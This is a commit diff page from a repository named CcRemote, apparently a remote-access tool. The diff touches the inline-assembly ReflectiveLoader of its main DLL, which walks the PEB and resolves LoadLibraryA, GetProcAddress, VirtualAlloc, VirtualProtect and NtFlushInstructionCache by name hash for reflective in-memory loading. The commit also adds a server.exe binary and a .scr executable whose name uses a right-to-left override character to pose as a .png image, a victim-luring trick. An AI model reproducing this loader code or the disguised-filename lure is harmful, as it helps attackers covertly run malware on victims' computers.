GuanM/CcRemote
1
0
Fork 0
mirror of https://github.com/Cc28256/CcRemote.git synced 2025-06-19 10:39:49 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

fix asm

Browse Source
This commit is contained in:
Cc28257 2020-09-28 16:11:41 +08:00
parent a618aaa7b9
commit 06a9e996b7
3 changed files with 26 additions and 26 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

52
CcMainDll/CcMainDll/dllmain.cpp
View File

@ -383,11 +383,11 @@ enum LocalEnum
varLocalFindPE = 0x1c, varLocalFindPE = 0x1c,
varLocalFS30_A = 0x20, varLocalFS30_A = 0x20,
varLocalFS30_B = 0x24, // varLocalFS30_B varLocalFS30_B = 0x24, // varLocalFS30_B
var_28 = 0x28, // FullDllName IndexNum = 0x28, // FullDllName
BaseDllName = 0x2c, // FullDllName BaseDllName = 0x2c, // FullDllName
name_hash = 0x30, name_hash = 0x30,
var_34 = 0x34, var_34 = 0x34,
var_38 = 0x38, // cmp_name_hash NameHashResult = 0x38, // cmp_name_hash
var_3c = 0x3c, var_3c = 0x3c,
exp_AddressOfNames = 0x40, exp_AddressOfNames = 0x40,
AddressOfNameOrdinals = 0x44, AddressOfNameOrdinals = 0x44,
@ -477,7 +477,7 @@ extern "C" __declspec(dllexport) void ReflectiveLoader()
mov [ebp + BaseDllName], edx mov [ebp + BaseDllName], edx
mov eax, [ebp + varLocalFS30_B] mov eax, [ebp + varLocalFS30_B]
mov cx, [eax + 0x24] // UNICODE_STRING FullDllName Length mov cx, [eax + 0x24] // UNICODE_STRING FullDllName Length
mov [ebp + var_28], cx // var_28保存FullDllName字符串长度 mov [ebp + IndexNum], cx // IndexNum保存FullDllName字符串长度
mov dword ptr[ebp + name_hash], 0 mov dword ptr[ebp + name_hash], 0
calc_hash: calc_hash:
@ -505,10 +505,10 @@ extern "C" __declspec(dllexport) void ReflectiveLoader()
mov edx, [ebp + BaseDllName] // 名称地址 + 1 mov edx, [ebp + BaseDllName] // 名称地址 + 1
add edx, 1 add edx, 1
mov [ebp + BaseDllName], edx mov [ebp + BaseDllName], edx
mov ax, [ebp + var_28] // 字符串名称长度 - 1 mov ax, [ebp + IndexNum] // 字符串名称长度 - 1
sub ax, 1 sub ax, 1
mov [ebp + var_28], ax mov [ebp + IndexNum], ax
movzx ecx, [ebp + var_28] movzx ecx, [ebp + IndexNum]
test ecx, ecx // 判断长度是否为0，没有为0继续计算hash test ecx, ecx // 判断长度是否为0，没有为0继续计算hash
jnz calc_hash // 计算简单的模块名称name_hash jnz calc_hash // 计算简单的模块名称name_hash
@ -539,10 +539,10 @@ extern "C" __declspec(dllexport) void ReflectiveLoader()
add eax, [edx + 0x24] // 获取 IMAGE_EXPORT_DIRECTORY +0x24 AddressOfNameOrdinals 导出函数序号表的RVA 也就是 函数序号表 add eax, [edx + 0x24] // 获取 IMAGE_EXPORT_DIRECTORY +0x24 AddressOfNameOrdinals 导出函数序号表的RVA 也就是 函数序号表
mov [ebp + AddressOfNameOrdinals], eax mov [ebp + AddressOfNameOrdinals], eax
mov ecx, 4 mov ecx, 4
mov [ebp + var_28], cx // 设置计数var_28，需要四个函数，找到一个 - 1 ，为 0 时查找完毕 mov [ebp + IndexNum], cx // 设置计数IndexNum，需要四个函数，找到一个 - 1 ，为 0 时查找完毕
find_next_ker_fun: find_next_ker_fun:
movzx edx, [ebp+var_28] movzx edx, [ebp+IndexNum]
test edx, edx test edx, edx
jle cmp_need_function jle cmp_need_function
@ -552,14 +552,14 @@ extern "C" __declspec(dllexport) void ReflectiveLoader()
push ecx push ecx
call calc_name_hash // 计算函数名称hash值 call calc_name_hash // 计算函数名称hash值
add esp, 4 add esp, 4
mov [ebp+var_38], eax // 计算的hash保存后进行比较 mov [ebp+NameHashResult], eax // 计算的hash保存后进行比较
cmp dword ptr[ebp+var_38], 0xEC0E4E8E // 0xEC0E4E8E = LoadLibraryA cmp dword ptr[ebp+NameHashResult], 0xEC0E4E8E // 0xEC0E4E8E = LoadLibraryA
jz find_function_hash jz find_function_hash
cmp dword ptr[ebp+var_38], 0x7C0DFCAA // 0x7C0DFCAA = GetProcAddress cmp dword ptr[ebp+NameHashResult], 0x7C0DFCAA // 0x7C0DFCAA = GetProcAddress
jz find_function_hash jz find_function_hash
cmp dword ptr[ebp+var_38], 0x91AFCA54 // 0x91AFCA54 = VirtualAlloc cmp dword ptr[ebp+NameHashResult], 0x91AFCA54 // 0x91AFCA54 = VirtualAlloc
jz find_function_hash jz find_function_hash
cmp dword ptr[ebp+var_38], 0x7946C61B // 0x7946C61B = VirtualProtect cmp dword ptr[ebp+NameHashResult], 0x7946C61B // 0x7946C61B = VirtualProtect
jnz no_find_function_hash jnz no_find_function_hash
find_function_hash: find_function_hash:
@ -573,7 +573,7 @@ extern "C" __declspec(dllexport) void ReflectiveLoader()
lea ecx, [eax+edx*4] // 序号索引IMAGE_EXPORT_DIRECTORY 找到函数地址 lea ecx, [eax+edx*4] // 序号索引IMAGE_EXPORT_DIRECTORY 找到函数地址
mov [ebp+var_3c], ecx // var_3c = AddressOfFunctions[AddressOfNameOrdinals] mov [ebp+var_3c], ecx // var_3c = AddressOfFunctions[AddressOfNameOrdinals]
cmp dword ptr[ebp+var_38], 0xEC0E4E8E cmp dword ptr[ebp+NameHashResult], 0xEC0E4E8E
jnz no_LoadLibraryA jnz no_LoadLibraryA
mov edx, [ebp+var_3c] mov edx, [ebp+var_3c]
mov eax, [ebp+varLocalFS30_A] // eax = varLocalFS30_A = 基地址 mov eax, [ebp+varLocalFS30_A] // eax = varLocalFS30_A = 基地址
@ -582,7 +582,7 @@ extern "C" __declspec(dllexport) void ReflectiveLoader()
jmp find_index_dec // 查找下一个 jmp find_index_dec // 查找下一个
no_LoadLibraryA: no_LoadLibraryA:
cmp dword ptr[ebp+var_38], 0x7C0DFCAA cmp dword ptr[ebp+NameHashResult], 0x7C0DFCAA
jnz no_GetProcAddress jnz no_GetProcAddress
mov ecx, [ebp+var_3c] mov ecx, [ebp+var_3c]
mov edx, [ebp+varLocalFS30_A] // edx = varLocalFS30_A = 基地址 mov edx, [ebp+varLocalFS30_A] // edx = varLocalFS30_A = 基地址
@ -592,7 +592,7 @@ extern "C" __declspec(dllexport) void ReflectiveLoader()
no_GetProcAddress: no_GetProcAddress:
cmp dword ptr[ebp+var_38], 0x91AFCA54 cmp dword ptr[ebp+NameHashResult], 0x91AFCA54
jnz no_VirtualAlloc jnz no_VirtualAlloc
mov eax, [ebp+var_3c] mov eax, [ebp+var_3c]
mov ecx, [ebp+varLocalFS30_A] // ecx = varLocalFS30_A = 基地址 mov ecx, [ebp+varLocalFS30_A] // ecx = varLocalFS30_A = 基地址
@ -601,7 +601,7 @@ extern "C" __declspec(dllexport) void ReflectiveLoader()
jmp find_index_dec // 查找下一个 jmp find_index_dec // 查找下一个
no_VirtualAlloc: no_VirtualAlloc:
cmp dword ptr[ebp+var_38], 0x7946C61B cmp dword ptr[ebp+NameHashResult], 0x7946C61B
jnz find_index_dec jnz find_index_dec
mov edx, [ebp+var_3c] mov edx, [ebp+var_3c]
mov eax, [ebp+varLocalFS30_A] // eax = varLocalFS30_A = 基地址 mov eax, [ebp+varLocalFS30_A] // eax = varLocalFS30_A = 基地址
@ -609,9 +609,9 @@ extern "C" __declspec(dllexport) void ReflectiveLoader()
mov [ebp+ pVirtualProtect], eax // 保存到局部堆栈 mov [ebp+ pVirtualProtect], eax // 保存到局部堆栈
find_index_dec: find_index_dec:
mov cx, [ebp+var_28] // 找到函数后 计数 - 1 mov cx, [ebp+IndexNum] // 找到函数后 计数 - 1
sub cx, 1 sub cx, 1
mov [ebp+var_28], cx mov [ebp+IndexNum], cx
no_find_function_hash: no_find_function_hash:
mov edx, [ebp+exp_AddressOfNames] mov edx, [ebp+exp_AddressOfNames]
@ -653,10 +653,10 @@ extern "C" __declspec(dllexport) void ReflectiveLoader()
add edx, [ecx+0x24] // 获取 IMAGE_EXPORT_DIRECTORY +0x24 AddressOfNameOrdinals add edx, [ecx+0x24] // 获取 IMAGE_EXPORT_DIRECTORY +0x24 AddressOfNameOrdinals
mov [ebp+AddressOfNameOrdinals], edx mov [ebp+AddressOfNameOrdinals], edx
mov eax, 1 mov eax, 1
mov [ebp+var_28], ax mov [ebp+IndexNum], ax
find_next_nt_fun: // 同上面一样 find_next_nt_fun: // 同上面一样
movzx ecx, [ebp+var_28] // 需要一个函数 var_28 = 1 movzx ecx, [ebp+IndexNum] // 需要一个函数 IndexNum = 1
test ecx, ecx test ecx, ecx
jle check_function jle check_function
mov edx, [ebp+exp_AddressOfNames] // exp_AddressOfNames = 函数名称表[] mov edx, [ebp+exp_AddressOfNames] // exp_AddressOfNames = 函数名称表[]
@ -665,8 +665,8 @@ extern "C" __declspec(dllexport) void ReflectiveLoader()
push eax push eax
call calc_name_hash call calc_name_hash
add esp, 4 add esp, 4
mov [ebp+var_38], eax mov [ebp+NameHashResult], eax
cmp dword ptr[ebp+var_38], 0x534C0AB8 // 0x534C0AB8 = NtFlushInstructionCache cmp dword ptr[ebp+NameHashResult], 0x534C0AB8 // 0x534C0AB8 = NtFlushInstructionCache
jnz no_NtFlushInstructionCache jnz no_NtFlushInstructionCache
mov ecx, [ebp+var_34] mov ecx, [ebp+var_34]
mov edx, [ebp+varLocalFS30_A] mov edx, [ebp+varLocalFS30_A]
@ -677,7 +677,7 @@ extern "C" __declspec(dllexport) void ReflectiveLoader()
mov edx, [ebp+var_3c] mov edx, [ebp+var_3c]
lea eax, [edx+ecx*4] lea eax, [edx+ecx*4]
mov [ebp+var_3c], eax mov [ebp+var_3c], eax
cmp dword ptr[ebp+var_38], 0x534C0AB8 cmp dword ptr[ebp+NameHashResult], 0x534C0AB8
jnz find_nt_index_dec jnz find_nt_index_dec
mov ecx, [ebp+var_3c] mov ecx, [ebp+var_3c]
mov edx, [ebp+varLocalFS30_A] mov edx, [ebp+varLocalFS30_A]
@ -685,9 +685,9 @@ extern "C" __declspec(dllexport) void ReflectiveLoader()
mov [ebp+pNtFlushInstructionCache], edx // 获取函数地址NtFlushInstructionCache保存 mov [ebp+pNtFlushInstructionCache], edx // 获取函数地址NtFlushInstructionCache保存
find_nt_index_dec: find_nt_index_dec:
mov ax, [ebp+var_28] mov ax, [ebp+IndexNum]
sub ax, 1 sub ax, 1
mov [ebp+var_28], ax mov [ebp+IndexNum], ax
no_NtFlushInstructionCache: no_NtFlushInstructionCache:
mov ecx, [ebp+exp_AddressOfNames] mov ecx, [ebp+exp_AddressOfNames]

BIN
bin/server.exe
View File

Binary file not shown.

BIN
bin/sex‮gnp.scr
View File

Binary file not shown.